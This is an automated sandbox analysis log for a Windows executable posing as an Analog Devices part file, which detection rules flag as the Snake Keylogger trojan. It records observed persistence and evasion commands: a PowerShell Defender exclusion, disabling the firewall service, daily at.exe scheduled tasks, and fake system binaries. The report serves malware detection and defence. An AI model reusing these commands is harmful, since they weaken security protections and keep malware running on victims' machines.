Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000020.00000002.2939302241.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000001.00000002.1747249048.00000000036FC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: adsp-21593bbpz10 analog devices, inc. 5000.exe PID: 2120, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: adsp-21593bbpz10 analog devices, inc. 5000.exe PID: 7860, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: adsp-21593bbpz10 analog devices, inc. 5000.exe .0.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.raw.unpack, COVID19.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.raw.unpack, VIPSeassion.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.raw.unpack, VIPSeassion.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.raw.unpack, COVID19.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.raw.unpack, VIPSeassion.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.raw.unpack, VIPSeassion.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .3832fa0.0.raw.unpack, pCjeI2niMiVMnRI3RB.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .7a90000.5.raw.unpack, upwd8X1WPCADek2By0.cs	Security API names: _0020.SetAccessControl
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .7a90000.5.raw.unpack, upwd8X1WPCADek2By0.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .7a90000.5.raw.unpack, upwd8X1WPCADek2By0.cs	Security API names: _0020.AddAccessRule
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .3832fa0.0.raw.unpack, upwd8X1WPCADek2By0.cs	Security API names: _0020.SetAccessControl
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .3832fa0.0.raw.unpack, upwd8X1WPCADek2By0.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .3832fa0.0.raw.unpack, upwd8X1WPCADek2By0.cs	Security API names: _0020.AddAccessRule
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .7a90000.5.raw.unpack, pCjeI2niMiVMnRI3RB.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: svchost.exe, 00000006.00000002.2939740347.000000000042C000.00000004.00000001.01000000.00000010.sdmp	Binary or memory string: `P@*\AD:\Code\Explorer\Explorer.vbp
Source: at.exe, 00000012.00000002.1710333778.0000000003188000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ;.VBp
Source: ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe, icsys.icn.exe.0.dr, svchost.exe.5.dr, stsys.exe.6.dr, spoolsv.exe.4.dr, mrsys.exe.4.dr, explorer.exe.2.dr	Binary or memory string: B*\AD:\Code\Explorer\Explorer.vbp
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1744230984.0000000000938000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: <.vbp
Source: ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe, 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmp, icsys.icn.exe, 00000002.00000002.1702193235.000000000042C000.00000004.00000001.01000000.0000000A.sdmp, spoolsv.exe, 00000005.00000002.1702295431.000000000042C000.00000004.00000001.01000000.0000000F.sdmp, spoolsv.exe, 00000007.00000002.1697882248.000000000042C000.00000004.00000001.01000000.0000000F.sdmp, explorer.exe, 00000035.00000002.1805508795.000000000042C000.00000004.00000001.01000000.0000000E.sdmp	Binary or memory string: m`P@*\AD:\Code\Explorer\Explorer.vbp

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@250/28@26/8

Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe

File created: C:\Users\user\AppData\Local\icsys.icn.exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7720:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7340:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7572:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4416:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7180:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7664:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7780:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8056:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8128:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8156:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7320:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7428:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8168:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7412:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7316:120:WilError_03
Source: C:\Windows\System\explorer.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7356:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7616:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2656:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8144:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7520:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7452:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7888:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7448:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7368:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7788:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3844:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7476:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7408:120:WilError_03
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Mutant created: \Sessions\1\BaseNamedObjects\HVZqmWSgnwdEASiOjx

Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe

File created: C:\Users\user\AppData\Local\Temp\~DFFB2FA207E099A40B.TMP

Jump to behavior

Source: C:\Users\user\AppData\Local\icsys.icn.exe	Process created: C:\Windows\System\explorer.exe
Source: unknown	Process created: C:\Windows\System\explorer.exe
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Process created: C:\Windows\System\explorer.exe	Jump to behavior

Source: ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.81%

Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	ReversingLabs: Detection: 92%
Source: ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Virustotal: Detection: 91%

Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe

File read: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe "C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe"
Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Process created: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe "c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe "
Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Process created: C:\Users\user\AppData\Local\icsys.icn.exe C:\Users\user\AppData\Local\icsys.icn.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Process created: C:\Windows\System\explorer.exe c:\windows\system\explorer.exe
Source: C:\Windows\System\explorer.exe	Process created: C:\Windows\System\spoolsv.exe c:\windows\system\spoolsv.exe SE
Source: C:\Windows\System\spoolsv.exe	Process created: C:\Windows\System\svchost.exe c:\windows\system\svchost.exe
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\System\spoolsv.exe c:\windows\system\spoolsv.exe PR
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe "
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process created: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe "c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe "
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process created: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe "c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe "
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process created: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe "c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe "
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop SharedAccess
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\sc.exe sc config Schedule start= auto
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\sc.exe sc start Schedule
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System\explorer.exe "C:\windows\system\explorer.exe" RO
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Process created: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe "c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe "	Jump to behavior
Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Process created: C:\Users\user\AppData\Local\icsys.icn.exe C:\Users\user\AppData\Local\icsys.icn.exe	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe "	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process created: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe "c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe "	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process created: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe "c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe "	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process created: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe "c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe "	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Process created: C:\Windows\System\explorer.exe c:\windows\system\explorer.exe	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process created: C:\Windows\System\spoolsv.exe c:\windows\system\spoolsv.exe SE	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Process created: C:\Windows\System\svchost.exe c:\windows\system\svchost.exe	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\System\spoolsv.exe c:\windows\system\spoolsv.exe PR
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop SharedAccess
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\sc.exe sc config Schedule start= auto
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\sc.exe sc start Schedule
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
